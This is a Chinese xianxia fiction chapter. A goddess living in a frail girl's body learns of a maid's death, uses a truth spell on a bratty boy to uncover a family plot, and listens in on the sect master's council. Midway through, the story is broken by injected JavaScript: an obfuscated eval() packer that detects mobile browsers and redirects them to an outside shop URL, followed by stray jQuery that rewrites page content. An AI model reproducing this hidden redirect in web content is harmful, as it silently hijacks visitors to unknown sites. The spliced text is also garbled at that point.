东厢。
长院雪色悠悠,院中巨树参天,却未沾分毫莹雪。
魔罗夜树枝干遒劲,叶泽金黑,全树周围银紫流光绵绵不息,似在源源不断地供给灵力,永无止尽。
此时乃花与果共生,花色偏浅,娇嫩花瓣上宛若点点银紫星辰游弋;果色偏沉,丰硕果实内恍若生命之襁褓,暗光浮动,孕育无限灵气。
生长在雪地之上的魔罗夜树,与白亮的雪相衬出一暗一明的颜色。
魔罗夜树是千年前留寒宗初代宗主所创。
千年前还是魔族横行的时代,初代宗主便用灵力养育出这样一棵神树,护佑宗门上下。
魔罗夜树外表看上去却似魔界之物,然事实恰恰相反,魔罗夜果又称“魔罗业果”。能够令魔族致幻,乃至陷入疯狂甚是死亡之物,初代宗主便是以此物来鉴别魔族。
扶凇一袭白连色斗篷立于树前,思忖良久。
迟颂只是她落于凡间的一魄,虽说迟颂的人生于她来说并无甚关系,她甚至不屑于参与这些宗门斗争中。
不过,想要从那人手上拿回东西,她仍然难以避免与修真界诸人搭上关系。
相命都无法预知的未来,谁能料道会发生什么呢?就当来凡间历劫一趟,且走且看了。
此时此刻,还要解决迟颂的这些麻烦事儿。
“铃兰。”长院空寂,扶凇忽开口唤道。
铃兰方才还在出神,连忙应道:“何事小姐?”
扶凇望了望四周:“怎么不见阿萝,我记得她以前常来替母亲采摘新鲜的魔罗夜果。”
魔罗夜果对于魔族来说是至邪之物,但仙族却可以将其入药。其果实清甜味美,在留寒宗中倒算是人人喜爱之物,以此还方便来找出吃了果实之后产生反应的魔族。
铃兰稍顿,知道宗主夫人常呼唤阿萝收集魔罗夜果的人居指可数,看来她就是小姐,应该是自己多心了。
不过,阿萝的事……该如何告诉小姐?
“小姐……”铃兰面上倏地浮现出哀凄之色,“阿萝她……”
看她久久道不出下文,扶凇生疑:“阿萝她怎么了?”
“就是魔族……三月前的一个夜晚,阿萝被魔族给害死了。”
“又是魔族?”扶凇微怔,蛾眉紧蹙。
“是啊,都是那些可恶的魔族,搅得宗门现在都不太安宁。可怜阿萝她……”
回忆起阿萝,铃兰忍不住垂泪。
扶凇伸手拂去铃兰肩上的雪,动作轻柔:“想来父亲会查出那些作恶的魔族,为阿萝复仇的……”
铃兰擦去泪珠:“还有,东厢现在服侍夫人的是另一个新婢女,名唤久洛。小姐,您要去找夫人吗?恐怕夫人还不知道你醒了。”
天际洒下飞雪纷纷,扶凇抬手接下一片,那冰花却久久不曾化开。
“不,我们进前山内门,找宗主。”
拾级而上,铃兰替扶凇撑着油纸伞跟在她身后。
“小姐昏迷这么久,醒来为何不先去告知夫人,反而进宗门找宗主啊?”
扶凇步履未停:“我知母亲担心我良久,可我现在还有更重要的事寻迟……宗主。”
“哦,好。”铃兰点头,随即又道,“小姐你还不知道吧?因你与阿萝双双遭逢魔族毒手,夫人如今都很少出门了。”
扶凇踏上最后一级石阶,脚步微顿:“不常出门?”
在扶凇所知的消息中,钟添桂的母族钟氏百年前也是足以与留寒宗比肩的大家族,年少时的钟添桂自负术法高绝,一身红衣,在仙门大会上也是大展风采过。
只不过好景不长,玄安钟氏因故衰败,为巩固宗族势力,长老们胁迫钟添桂嫁于迟光奎做续弦,生生折了她一身傲骨。
据说也是在回合大战中,钟添桂之母为救钟氏而殒,而她自己同样受了重创,从此隐居在聆雪峰东厢。
铃兰回道:“是啊,这是久洛告诉我们的。”
久洛?
不等扶凇深思,一团冰冷的雪直直砸中她的肩头,她并没有躲,仍那寒冰在斗篷上洇开深色。
“小姐你没事吧?!”铃兰一惊,连忙从襟中掏出手帕来替她擦拭斗篷。
“无妨。”扶凇声线无波无澜。
不远处传来孩童稚嫩却顽劣的叫嚷:“病秧子不准踏进宗门前山!你个坏女人的女儿!”
扶凇静静听完,没有转身,只是垂眸叹了口气:“铃兰。”
“我在。”铃兰回道。
“我突然想起来,我要带给宗主的东西忘拿了。木案上头那块玉璧可还记得?”
“记得的。”
扶凇看向铃兰浅笑,眼神却示意后头的孩童:“去吧,快去快回。”
“哦好,我这便去为小姐取来。”铃兰走前又小声提醒了句:“小姐当心。”
扶凇点头,目送铃兰离开。
后头那小男孩继续喊:“喂!你个病秧子竟敢不理本小爷!”
扶凇摇了下头。
一个小屁孩儿罢了,有什么好当心的。
她转过身,向迟桓走过来。
迟桓是留寒宗二宗主的儿子,平日里修为不怎么上进,整日带着一群跟班在宗门里当大哥大。二宗主也是惯着他,宗门里其他弟子干脆也让他,能不惹这小魔王就不惹。
不过据扶凇听说……这小孩还因为觉得刺激偷偷学过禁术。
倒可以向他套点话来。
迟桓看她过来了,又嘲笑着往反方向跑:“略略略,病秧子走这么慢可抓不到我!”
“诶?!”还没动一步,迟桓整个身子就像被冰冻住似的,动弹不得。
扶凇一步一步慢慢走到迟桓跟前来,微微俯身,面上的笑意清淡又温和,与平日无二,迟桓却懵了。
“你你你……你想做什么?!”迟桓不解,谁给这病秧的胆子敢定住他?一定是他修为又没进步,连病秧子都可以令自己束手无策了!
“迟桓?”扶凇的微笑让她看上去真像个关心晚辈的好姐姐。
“干什么?你认不得本小爷了?”迟桓还在装凶吓她。
“告诉我,你为何这般讨厌我母亲,说她是坏女人,还说我是病秧子?”
“你管我!”迟桓并不解释。
“哦……这样啊。”扶凇手指点出一抹光晕,瞬间化入迟桓的脑中。
“言真。”扶凇自认是个对小孩没什么耐心的人,还是这种令人生厌的小屁孩。既然没什么耐心,不如快些结束。
看见迟桓被定神的模样,扶凇一下收回了笑意,冷冷的问:“你们为何讨厌钟添桂,她做了什么?”
迟桓一个字一个字道:“她本人做了什么我不知道,是我姐姐告诉我她是个坏人。”
“你姐姐?二宗主的长女,迟凝。”
“是。”
“她都告诉了你什么?”
“不是她告诉我的,是我自己偷听到的。他们说钟家有长老想从我们迟家手中谋利,我不知道是什么,只是听姐姐说钟家和我们不合,她很厌恶钟家的人,也很厌恶钟添桂。”
“那你知不知道,我为何会被魔所伤,昏睡五月?”
“知道,因为不是魔干的,是钟家长老自己做的。你是钟添桂的女儿,算半个钟家人,我们迟家才懒得管你们的事呢。”
扶凇沉吟片刻:“钟家长老为什么要这么做?”
“我不知道。”
看来迟颂应该是听到了钟家什么秘密,才被长老下此狠手。迟颂还真是……迟家钟家两头都不讨好。
有些难办。
扶凇再一次点向迟桓的头,光晕随之而出,消除了迟桓的这段记忆。
迟桓才转回神来,不妨被一个雪球击中,冷意窜上脖颈。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861742|212030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“啊!”他抬眼,就见扶凇手里已经拿起第二个雪球,下意识闭眼,就听她轻轻说着什么。
“小屁孩,你再说姐姐我是病秧子,我就把你小小年纪偷学禁术的事告诉宗主!”
迟桓被唬住了:“你你……你怎么知道?!”
“我当然知道…你偷走二宗主的玉牌,溜进禁书阁偷来禁书,不就是为了在你那群小孩堆里大显神威么?也不知宗主他们晓得了……该如何罚你。”这话里透着阴森森的寒意。
看来这小孩子的确怕宗主,连忙道:“我没有……你别讲出去行不行?我不叫你病秧子就是了!别……别给宗主伯伯说!”
“哦,看你表现。”扶凇眉眼弯弯。
迟桓一溜烟地跑走了。
这小魔王也只是表面工夫做的足,平常嚣张惯了,然而真遇到事的时候怕的比谁都快。
不找人压一压他的气焰,还真无法无天出口狂言了。
扶凇眼睫一颤,胸腔忽然涌起一股撕裂般的疼痛,她以手掩唇,猛烈地咳嗽起来。
抬手,入目却是鲜红的血迹。
看来以凡身动用了言真之术,会遭到反噬啊。啧,还真是给这具本就病弱的身体雪上加霜。
“小姐!”铃兰正跑上楼梯呢,不妨就看见她家小姐狼狈地咳嗽起来,着急唤着,“小姐你还好么?”
扶凇不动声色地将带着血迹的手藏进袖中:“没事,迟桓已经溜了,我们还是快点去宗主殿吧。”
“好吧……”铃兰还是觉得哪儿有些不对,但看扶凇神色没有丝毫异样,便也作罢。
不过小姐到底跟迟桓少年说了什么?算了,这不是她该问的。
扶凇领着铃兰,脚步清浅往宗主殿前去,她的注意力却不在脚下的路上。
虽这样的高阶法术以迟颂的凡身而施遭到反噬也并不意外,毕竟这少女从小体弱,境界只停留在在灵气第三阶,只会点普通小法术。
但这并不代表令她束手无策了。
这肉身虽是迟颂的,但灵魂……不,是神魂,却是扶凇的。
她作为天界神蕖,掌雪霜冰淞乃万寒之主,只要她以神魂相召,千万寒雪皆听其号令。
扶凇剥离出一丝神魂,游走于冰雪,遥遥地停靠在宗主殿房檐的积雪上。
以此,她就算人走在这里,也能听到殿中的动静了。
殿中现在不止迟光奎一人,还有他的三个亲传弟子。
何觅安、迟瑛、迟伦,迟瑛和迟伦正是迟光奎的长女和次子。
迟瑛道:“宗门内魔物神出鬼没难以抓获,已接连伤了外门若干弟子。父亲,您为何迟迟无动手之意,放任他们猖狂?难道魔族不会某天直接杀进内门来么?”
迟瑛的质疑声响彻大殿,迟光奎听后神情已然有些严肃。
迟伦温声劝道:“阿姐你小声些,父亲并没有无动于衷。况且大家都知道,现在宗门内出了内鬼,父亲也是在想法子揪出内鬼。”
“况且师尊已在同长老协商对策,放任魔族行动来探出他们所牵线的内鬼只是权宜之计。内门守卫森严,不可能有任何魔物能够越过寒星结阵潜入。”何觅安在三人中最长,虽非为迟光奎亲子,然而他作为大师兄,天赋卓越,性子也相对沉稳些。
迟光奎沉默良久才开口:“觅安说的没错,寒星结阵的至圣之气与魔气相克,魔物根本无法闯入。”
他话锋一转:“小歧他们一行人也快到宗门了,觅安、伦儿,你二人酉时记得迎他们进宗门。
小歧?
是了,迟光奎与那鸿音真君单延璟乃是故交,据说单延璟身殁后迟光奎助了鸿音门良多。
鸿音门最后虽还是被攻陷,但在留寒宗相帮下众多弟子得以逃生,铃兰不就是其中一员么?
至于“小歧”……
便是鸿音真君座下幸存的小弟子夙临歧了。